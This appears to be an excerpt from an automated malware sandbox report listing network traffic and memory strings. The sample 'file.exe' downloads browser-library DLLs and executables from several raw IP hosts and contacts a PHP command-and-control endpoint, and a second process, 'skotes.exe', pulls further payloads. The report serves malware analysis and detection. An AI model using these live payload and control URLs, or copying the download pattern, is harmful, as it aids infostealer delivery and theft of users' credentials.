Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/1724962075/7mpPLxE.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2059475906.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe&
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2059475906.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllX
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll(Y)
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll$
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dlldY
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2059475906.00000000016B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2059475906.00000000016B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll4
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/QM
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/VM
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2059475906.00000000016B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpBrowser
Source: file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpD0
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpKKFB.exe-data;
Source: file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpW8$
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfi
Source: file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp00
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ubert
Source: skotes.exe, 0000001A.00000002.2751593438.000000000107F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2751593438.000000000108C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpr
Source: skotes.exe, 0000001A.00000002.2751593438.000000000107F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2751593438.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1724962075/7mpPLxE.exe
Source: skotes.exe, 0000001A.00000002.2751593438.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1724962075/7mpPLxE.exeXYZ0123456789
Source: skotes.exe, 0000001A.00000002.2751593438.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1724962075/7mpPLxE.exek
Source: skotes.exe, 0000001A.00000002.2751593438.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1724962075/7mpPLxE.exeshqos.dll
Source: skotes.exe, 0000001A.00000002.2751593438.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1724962075/7mpPLxE.exew
Source: skotes.exe, 0000001A.00000002.2751593438.00000000010D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rando
Source: skotes.exe, 0000001A.00000002.2751593438.0000000001069000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2751593438.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe(
Source: skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3
Source: skotes.exe, 0000001A.00000002.2751593438.00000000010D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe32
Source: skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b31d
Source: skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b3U
Source: skotes.exe, 0000001A.00000002.2751593438.00000000010D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506238
Source: skotes.exe, 0000001A.00000002.2751593438.00000000010D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384:
Source: skotes.exe, 0000001A.00000002.2751593438.00000000010D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062coded
Source: skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe86
Source: skotes.exe, 0000001A.00000002.2751593438.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exelF
Source: skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exet
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
